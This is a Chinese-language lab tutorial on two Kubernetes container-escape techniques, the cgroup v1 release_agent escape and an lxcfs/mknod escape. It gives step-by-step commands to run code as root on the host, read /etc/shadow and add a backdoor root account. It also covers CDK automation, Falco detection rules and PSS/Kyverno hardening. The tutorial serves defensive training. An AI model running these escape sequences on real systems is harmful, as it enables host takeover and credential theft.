
ATT&CK T1611 Escape to Host——兩種不需要直接 mount 磁碟的容器逃逸手法。
| 場景 | ATT&CK | 逃逸手法 | 前提條件 | 攻擊難度 |
|---|---|---|---|---|
| S14 | T1611 | Cgroup release_agent | privileged + cgroup v1 | 中 |
| S18 | T1611 | lxcfs devices.allow | privileged + lxcfs 掛載 | 中 |
昨天的 S13 mount device 是「直球對決」——直接掛載宿主機磁碟。今天的兩種手法更加隱蔽,利用 Linux 核心的 cgroup 和裝置管理機制迂迴突破。
所有指令都在 koad 專案目錄下執行。如果還沒 clone,請先參考 Day 1 的 Step 0。
開始前請確認以下環境就緒。
# 主機終端
kubectl get pod -n koad escape-cgroup escape-lxcfs
預期結果:
NAME READY STATUS RESTARTS AGE
escape-cgroup 1/1 Running 0 ...
escape-lxcfs 1/1 Running 0 ...
如果 Pod 不在 Running 狀態,重新部署:
kubectl apply -f scenarios/privilege-escalation/S14-cgroup-escape.yaml kubectl apply -f scenarios/privilege-escalation/S18-lxcfs-escape.yaml kubectl wait --for=condition=Ready pod/escape-cgroup pod/escape-lxcfs -n koad --timeout=60s
建議另開一個終端視窗,保持 Falco 日誌持續輸出:
# 第二終端 — 左右並排觀察告警
kubectl logs -f -n falco -l app.kubernetes.io/name=falco | grep -i --color "koad\|cgroup\|release_agent\|mknod\|mount"
在攻擊過程中,Falco 會即時告警。兩個視窗左右並排——左邊攻擊、右邊觀察——是最有效的學習方式。
完成本日實作後,你將能夠:
cgroup(Control Groups)是 Linux 核心的資源限制機制,容器就是用 cgroup 來限制 CPU、記憶體等資源的。cgroup 有兩個版本:
| 版本 | 特點 | 管理方式 | 逃逸可能性 |
|---|---|---|---|
| cgroup v1 | 階層式,每個子系統獨立目錄 | 每個資源一個 hierarchy | S14 利用 release_agent |
| cgroup v2 | 統一階層,已移除 release_agent | 單一統一 hierarchy | 此手法無效 |
在 cgroup v1 中,每個 cgroup 子系統都有一個 release_agent 檔案。當 cgroup 中的最後一個 process 結束時,如果 notify_on_release 設為 1,核心會在宿主機上執行 release_agent 指定的程式。
關鍵點:release_agent 是由宿主機核心執行的,不是容器內部。

容器的檔案系統使用 overlay filesystem。容器內寫入的檔案實際存在宿主機的 overlay upperdir 中。攻擊者在容器內建立 /cmd 腳本,這個檔案在宿主機上的路徑是 $upperdir/cmd。release_agent 需要指向宿主機路徑,所以必須找到 overlay upperdir。
容器視角: 宿主機視角:
/cmd /var/lib/docker/overlay2/abc.../diff/cmd
↑ ↑
容器的檔案路徑 overlay upperdir 中的實際路徑
(= release_agent 需要的路徑)
apiVersion: v1
kind: Pod
metadata:
name: escape-cgroup
namespace: koad
labels:
koad-scenario: S14
mitre-attck: T1611
escape-method: cgroup-release-agent
spec:
containers:
- name: attacker
image: ubuntu:22.04
command: ["sh", "-c"]
args:
- |
echo "=== KOAD-S14: Cgroup release_agent Escape ==="
sleep infinity
securityContext:
privileged: true # ← 需要 privileged 才能 mount cgroup
同樣需要 privileged: true,但逃逸方式完全不同——不是掛載磁碟,而是利用核心的通知機制。
securityContext:
privileged: true # 允許 mount cgroup filesystem(需要 CAP_SYS_ADMIN)
# 允許寫入 release_agent、notify_on_release
# 同時關閉 seccomp,不攔截 mount 系統呼叫
與 S13 相同都用 privileged: true,但攻擊向量完全不同。S13 利用 /dev 裝置存取,S14 利用 cgroup v1 的 release_agent 核心機制。這展示了單一設定錯誤可以被多種手法利用。YAML 中沒有 hostPath 或 hostPID——攻擊者只需要 mount cgroup filesystem 的能力。
S14 是 2020 年 Felix Wilhelm 公開的 PoC 手法,曾被多個 CTF 和實際攻擊使用。選擇此場景是因為它展示了一個與 S13 完全不同的逃逸維度:不依賴磁碟掛載,而是利用 Linux 核心的 cgroup 通知機制在宿主機上執行任意指令。這個手法只對 cgroup v1 有效,cgroup v2 已移除 release_agent 機制,學員可以藉此理解核心版本升級對安全的影響。
# 主機終端
kubectl exec -it -n koad escape-cgroup -- bash
預期結果:
root@escape-cgroup:/#
成功進入特權容器的 shell。接下來確認 cgroup 版本,決定 release_agent 手法是否可行。
以下步驟 2–7 都在容器內(
escape-cgroup)執行。
# 容器內 (escape-cgroup)
stat -fc %T /sys/fs/cgroup/
預期結果:
tmpfs
顯示
tmpfs代表 cgroup v1,可以繼續。如果顯示cgroup2fs,表示 cgroup v2,此手法無效。

mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp
預期結果:
(無輸出表示成功)
成功在容器內掛載了宿主機的 cgroup 檔案系統——這是 release_agent 逃逸的前提。特權容器的
CAP_SYS_ADMIN讓mount操作得以通過。

踩坑提醒:rdma 子系統可能不存在。如果
mount失敗,試試memory、pids、cpu等子系統。不要選擇已經有大量 cgroup 的子系統(如cpu),因為清理起來更複雜。mount -t cgroup -o pids cgroup /tmp/cgrp通常也可行。
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
cat /tmp/cgrp/x/notify_on_release
預期結果:
1
notify_on_release=1表示當 cgroup 中最後一個 task 離開時,kernel 會執行release_agent指定的程式。

host_path=$(sed -n 's/.*upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo $host_path
預期結果:
/var/lib/docker/overlay2/xxxx/diff
這個路徑是容器的 overlay filesystem 在宿主機上的對應位置。容器內的
/cmd會對應到宿主機上的$host_path/cmd。

踩坑提醒:在某些容器 runtime(如 containerd 不使用 overlay)中,
upperdir可能找不到。確認容器 runtime 使用的 storage driver:docker info | grep "Storage Driver"或查看/proc/self/mountinfo的內容。
echo "$host_path/cmd" > /tmp/cgrp/release_agent
cat /tmp/cgrp/release_agent
預期結果:
/var/lib/docker/overlay2/xxxx/diff/cmd
告訴核心:當 cgroup 釋放時,執行宿主機上的這個腳本。
Falco 觀察:寫入
release_agent時,Falco 監控視窗應該出現 Critical 告警:[CRITICAL] KOAD S14 Cgroup Manipulation (pod=escape-cgroup file=release_agent)

cat > /cmd << 'EOF'
#!/bin/sh
id > /tmp/cgrp_escape_proof
cat /etc/hostname >> /tmp/cgrp_escape_proof
date >> /tmp/cgrp_escape_proof
EOF
chmod +x /cmd
預期結果:
(無輸出,腳本已建立)
這個腳本在容器內建立,但因為 overlay filesystem 的映射,它也出現在宿主機的
$host_path/cmd。

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
預期結果:
(無輸出)
sh執行完echo就結束,cgroup.procs 變空,觸發notify_on_release→ kernel 執行release_agent。
sleep 1
cat /tmp/cgrp_escape_proof
預期結果:
uid=0(root) gid=0(root) groups=0(root)
minikube
Tue Aug 19 10:30:00 UTC 2026
uid=0(root)+minikube確認腳本是在宿主機上以 root 身份執行的——容器逃逸成功。


| 比較 | S13 mount device | S14 cgroup release_agent |
|---|---|---|
| 操作方式 | 掛載磁碟 + chroot | 利用核心通知機制 |
| 需要 | privileged | privileged + cgroup v1 |
| 存取方式 | 互動式 shell | 單次指令執行(需多步建立 reverse shell) |
| 隱蔽性 | 低(mount 操作明顯) | 較高(利用合法的核心機制) |
| 持久性 | 可以修改宿主機檔案 | 可以建立 reverse shell 或 cron job |
| 偵測難度 | 容易(mount syscall) | 較難(write to release_agent 較少見) |
cgroup v2 移除了 release_agent 機制。如果宿主機使用 cgroup v2(Ubuntu 22.04+ 預設),S14 手法不可用:
# 檢查 cgroup 版本
$ stat -fc %T /sys/fs/cgroup/
cgroup2fs # ← cgroup v2,S14 無效
tmpfs # ← cgroup v1,S14 可用
# 更詳細的檢查
$ mount | grep cgroup
cgroup2 on /sys/fs/cgroup type cgroup2 (rw,nosuid,nodev,noexec,relatime)
# ↑ cgroup v2
cgroup on /sys/fs/cgroup/cpu type cgroup (rw,nosuid,nodev,noexec,relatime,cpu)
# ↑ cgroup v1(個別子系統掛載)
踩坑提醒:Minikube 使用的 Linux 核心和發行版決定了 cgroup 版本。Docker Desktop 的 Minikube VM 通常仍使用 cgroup v1。如果你的環境是 cgroup v2,可以用
--cgroup-driver=cgroupv1啟動 Minikube(需要特定 VM driver)。
生產環境的現實:Ubuntu 22.04+、Fedora 31+、RHEL 9+ 等主流發行版已預設使用 cgroup v2。根據 Datadog 2025 容器報告,超過 70% 的生產 K8s 叢集執行在 cgroup v2 環境。這代表 S14 的 release_agent 逃逸在多數現代生產環境中已失效——cgroup v2 的統一階層設計根本沒有 release_agent 檔案可供寫入。
從防禦角度看,遷移到 cgroup v2 是一種「被動防禦」——不需要額外配置就能封堵一整類逃逸路徑。但這不代表可以放鬆:S13(privileged mount)和 S15-S19 的逃逸手法不依賴 release_agent,在 cgroup v2 環境仍然有效。縱深防禦(PSS + seccomp + gVisor)仍然不可省略。
lxcfs(FUSE filesystem for LXC)是一個用來讓容器內的 /proc/cpuinfo、/proc/meminfo 等檔案反映容器的資源限制而非宿主機的工具。
Linux 使用 devices cgroup 來控制容器可以存取哪些裝置。普通容器的 devices.list 只允許少數安全的裝置:
# 普通容器的 devices.list
$ cat /sys/fs/cgroup/devices/devices.list
c 1:3 rwm # /dev/null
c 1:5 rwm # /dev/zero
c 1:7 rwm # /dev/full
c 1:8 rwm # /dev/random
c 1:9 rwm # /dev/urandom
c 5:0 rwm # /dev/tty
c 5:2 rwm # /dev/ptmx
特權容器的 devices.allow 可以設為 a(all),允許存取所有裝置——包括宿主機的磁碟(/dev/sda = major 8, minor 0)。
普通容器: 特權容器 + devices.allow 'a':
/dev/null ✓ /dev/null ✓
/dev/zero ✓ /dev/zero ✓
/dev/sda ✗ (blocked) /dev/sda ✓ ← 可以 mknod 建立!
/dev/sdb ✗ (blocked) /dev/sdb ✓
/dev/mem ✗ (blocked) /dev/mem ✓ ← 直接讀取記憶體
apiVersion: v1
kind: Pod
metadata:
name: escape-lxcfs
namespace: koad
labels:
koad-scenario: S18
mitre-attck: T1611
escape-method: lxcfs
spec:
containers:
- name: attacker
image: ubuntu:22.04
command: ["sh", "-c"]
args:
- |
echo "=== KOAD-S18: lxcfs Escape ==="
sleep infinity
securityContext:
privileged: true # ← 需要特權模式
volumeMounts:
- name: lxcfs
mountPath: /var/lib/lxcfs # ← 掛載 lxcfs
volumes:
- name: lxcfs
hostPath:
path: /var/lib/lxcfs
type: DirectoryOrCreate
注意:S18 除了 privileged: true,還額外掛載了 /var/lib/lxcfs。
# 主機終端
kubectl exec -it -n koad escape-lxcfs -- bash
預期結果:
root@escape-lxcfs:/#
成功進入特權容器。特權模式賦予了完整的 Linux capabilities,包括
CAP_MKNOD和CAP_SYS_ADMIN,這是後續建立裝置節點的前提。
以下步驟 2–5 都在容器內(
escape-lxcfs)執行。
# 容器內 (escape-lxcfs)
cat /sys/fs/cgroup/devices/devices.list
預期結果:
a *:* rwm
a *:* rwm表示所有裝置都允許存取——因為是特權容器。

cat /proc/partitions
預期結果:
major minor #blocks name
8 0 62914560 sda
8 1 61353984 sda1
8 2 131072 sda2
sda的 major 號是 8,minor 號是 0。這是mknod建立裝置節點所需的參數。

mknod /dev/sda b 8 0
mknod /dev/sda1 b 8 1
ls -la /dev/sda*
預期結果:
brw-r--r-- 1 root root 8, 0 Aug 19 10:30 /dev/sda
brw-r--r-- 1 root root 8, 1 Aug 19 10:30 /dev/sda1
mknod建立了 block device 節點。普通容器的CAP_MKNOD被移除所以會失敗;特權容器有完整 capabilities 所以可以執行。
Falco 觀察:執行
mknod後,Falco 監控視窗應該出現 Critical 告警:[CRITICAL] KOAD S18 Device Node Created (pod=escape-lxcfs command=mknod /dev/sda b 8 0)

debugfs /dev/sda1
預期結果:
debugfs 1.46.5 (30-Dec-2021)
debugfs:
debugfs成功開啟宿主機磁碟的檔案系統。這個工具直接操作 ext2/ext3/ext4 的底層結構,完全繞過 mount 權限檢查和檔案系統層級的存取控制。
在 debugfs 互動式介面中:
debugfs: cat /etc/shadow
預期結果:
root:$6$xxxx:19000:0:99999:7:::
daemon:*:19000:0:99999:7:::
debugfs不需要 mount,直接讀取 filesystem 的裸資料。

mkdir /mnt/host
mount /dev/sda1 /mnt/host
ls /mnt/host/
預期結果:
bin boot dev etc home lib lib64 media mnt opt proc root ...
宿主機的完整根檔案系統已經掛載成功——從 lxcfs 的裝置節點逃逸到宿主機磁碟存取,攻擊鏈完成。
cat /mnt/host/etc/shadow
$ echo "attacker:x:0:0::/root:/bin/bash" >> /mnt/host/etc/passwd

| 比較 | S13 mount device | S18 lxcfs devices.allow |
|---|---|---|
| 攻擊入口 | /dev 已暴露 |
需透過 devices.allow 開放 |
| 裝置來源 | 宿主機 /dev 直接可見 |
需 mknod 建立裝置節點 |
| 額外需求 | 無 | lxcfs 掛載(或 cgroup 可寫) |
| 隱蔽性 | 低 | 中(多一個 mknod 步驟) |
S18 刻意選擇 lxcfs 逃逸,因為它代表一類容易被忽略的攻擊面:為了改善容器可觀測性而引入的工具反而打開了逃逸路徑。許多企業(尤其是從 LXC 遷移到 K8s 的團隊)會在節點上部署 lxcfs 讓容器內的 /proc/meminfo 顯示正確的 cgroup 限制值,卻沒意識到搭配特權模式時,devices.allow 被設為 a,攻擊者可以用 mknod 建立任意裝置節點存取宿主機磁碟。
YAML 中的關鍵漏洞欄位:
privileged: true:讓 devices.allow 開放所有裝置,且賦予 CAP_MKNOD 能力hostPath: /var/lib/lxcfs:模擬真實環境中 lxcfs 的掛載方式這個場景的教學價值在於讓學員理解:安全評估不能只看容器本身的配置,還要考慮節點上安裝的輔助工具可能擴大的攻擊面。
CDK(Container exploit toolkit)是一個開源的容器滲透測試工具,可以自動偵測和利用逃逸漏洞:
# 在容器內執行 CDK 自動評估
$ cdk evaluate
[*] Checking capabilities...
[+] CAP_SYS_ADMIN: YES
[+] CAP_SYS_PTRACE: YES
[+] CAP_MKNOD: YES
[*] Checking escape vectors...
[+] Privileged container detected!
[+] cgroup v1 release_agent available
[+] devices.allow writable
[+] /var/run/docker.sock mounted
[*] Available exploits:
- mount-device (S13)
- cgroup-escape (S14)
- lxcfs-escape (S18)
- docker-sock (S15)
CDK 可以自動化整個逃逸流程:
# 自動利用 cgroup release_agent 逃逸
$ cdk run shim-pwn "<reverse-shell-command>"
# CDK 的內部流程:
# 1. 自動偵測 cgroup 版本
# 2. 找到 overlay upperdir
# 3. 建立 release_agent payload
# 4. 觸發 notify_on_release
# 5. 執行 payload(reverse shell)
踩坑提醒:CDK 是紅隊工具,只應在授權的滲透測試中使用。KOAD 的 attacker 容器已經內建了 CDK。在真實環境中,攻擊者也可能上傳 CDK 的靜態編譯版本(單一 binary,無依賴)。
- rule: KOAD S14 Cgroup Manipulation
desc: Detect cgroup escape via release_agent
condition: >
open_write and container and
(fd.name contains "release_agent" or
fd.name contains "notify_on_release")
output: >
Cgroup release_agent manipulation detected
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
file=%fd.name command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1611, privilege-escalation]
偵測原理:監視容器內對 release_agent 和 notify_on_release 檔案的寫入操作。這兩個檔案在正常容器操作中幾乎不會被寫入,所以誤報率極低。
- rule: KOAD S18 Device Node Created
desc: Detect mknod in container (lxcfs escape)
condition: >
evt.type = mknod and container and
not k8s.ns.name in (kube-system)
output: >
Device node created in container
(container=%container.name pod=%k8s.pod.name ns=%k8s.ns.name
file=%evt.arg.path command=%proc.cmdline)
priority: CRITICAL
tags: [KOAD, T1611, privilege-escalation]
偵測原理:容器內部不應該呼叫 mknod 系統呼叫——這幾乎 100% 是逃逸嘗試。
| 逃逸步驟 | Falco 偵測 | 偵測時機 |
|---|---|---|
| S14 mount cgroup | mount syscall 偵測 | 攻擊開始時 |
| S14 write release_agent | KOAD S14 規則 | 攻擊準備階段 |
| S14 write notify_on_release | KOAD S14 規則 | 攻擊準備階段 |
| S14 payload 執行 | 宿主機上執行,容器 Falco 看不到 | 逃逸後(需要 host Falco) |
| S18 mknod | KOAD S18 規則 | 攻擊進行中 |
| S18 mount | mount syscall 偵測 | 攻擊進行中 |
踩坑提醒:S14 的 payload 在宿主機上執行後,容器內的 Falco 無法偵測到。需要在宿主機上也部署 Falco(DaemonSet 的
hostPID: true+hostNetwork: true)或在宿主機上直接安裝 Falco agent。
S13、S14、S18 三種逃逸手法都有一個共同前提:privileged: true。
# Pod Security Standards — Restricted
# 自動阻擋以下配置
spec:
containers:
- securityContext:
privileged: false # 禁止特權
allowPrivilegeEscalation: false # 禁止提權
capabilities:
drop: ["ALL"] # 移除所有 capabilities
add: [] # 不添加任何 capability
seccompProfile:
type: RuntimeDefault # 啟用 seccomp
| 防禦層 | 措施 | 阻擋 S13 | 阻擋 S14 | 阻擋 S18 |
|---|---|---|---|---|
| Admission | PSS Restricted | 是 | 是 | 是 |
| Admission | Kyverno koad-block-privileged | 是 | 是 | 是 |
| syscall | seccomp(阻擋 mount) | 是 | 部分 | 是 |
| syscall | seccomp(阻擋 mknod) | — | — | 是 |
| LSM | AppArmor deny mount | 是 | 部分 | 是 |
| Runtime | Falco 偵測 | 偵測 | 偵測 | 偵測 |
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: koad-block-privileged
spec:
validationFailureAction: Audit # 先 Audit 再切 Enforce
rules:
- name: deny-privileged
match:
any:
- resources:
kinds: ["Pod"]
validate:
message: "Privileged containers are not allowed"
pattern:
spec:
containers:
- securityContext:
privileged: "false"
S14 逃逸的關鍵在於 overlay filesystem 的架構。理解它對所有容器逃逸都有幫助:

攻擊者利用這個機制:在容器內寫檔案 → 檔案出現在宿主機的 overlay upperdir → 透過 release_agent / core_pattern 讓核心在宿主機上執行這個檔案。
| 領域 | 考點 | 權重 |
|---|---|---|
| System Hardening | seccomp profile 阻擋 mount/mknod | 10% |
| Minimize Microservice | SecurityContext 最佳實踐 | 20% |
| Minimize Microservice | PSS Restricted 配置 | 20% |
題目:為 Namespace web-apps 配置 Pod Security Standards 為 Restricted,並驗證特權容器無法建立。
# 設定 PSS
kubectl label namespace web-apps \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/audit=restricted \
pod-security.kubernetes.io/warn=restricted
# 驗證(建立特權 Pod 應該失敗)
kubectl run priv-test --image=busybox -n web-apps \
--overrides='{"spec":{"containers":[{
"name":"test","image":"busybox",
"securityContext":{"privileged":true}
}]}}'
# Error from server (Forbidden)
完成攻擊演練後,清理環境以便後續場景使用:
# 容器內(escape-cgroup):清理 cgroup 掛載
umount /tmp/cgrp 2>/dev/null
rm -rf /tmp/cgrp /cmd /tmp/cgrp_escape_proof
# 離開容器
exit
# 容器內(escape-lxcfs):清理裝置節點和掛載
umount /mnt/host 2>/dev/null
rm -f /dev/sda /dev/sda1
rm -rf /mnt/host
# 離開容器
exit
如果需要完全重設 Pod 環境:
# 主機終端 kubectl delete pod -n koad escape-cgroup escape-lxcfs kubectl apply -f scenarios/privilege-escalation/S14-cgroup-escape.yaml kubectl apply -f scenarios/privilege-escalation/S18-lxcfs-escape.yaml
stat -fc %T /sys/fs/cgroup/ → tmpfs)release_agent
mknod 建立宿主機磁碟裝置節點(S18 lxcfs)debugfs 讀取宿主機檔案系統stat -fc %T /sys/fs/cgroup/ 判斷系統使用 cgroup v1 或 v2devices.allow 開放所有裝置存取,再用 mknod 建立磁碟節點。需要額外的 lxcfs 掛載。privileged: true。明天 Day 10 我們繼續第四、五式——Docker.sock 掛載逃逸和 /proc core_pattern 逃逸。這兩種手法不一定需要完整的特權容器。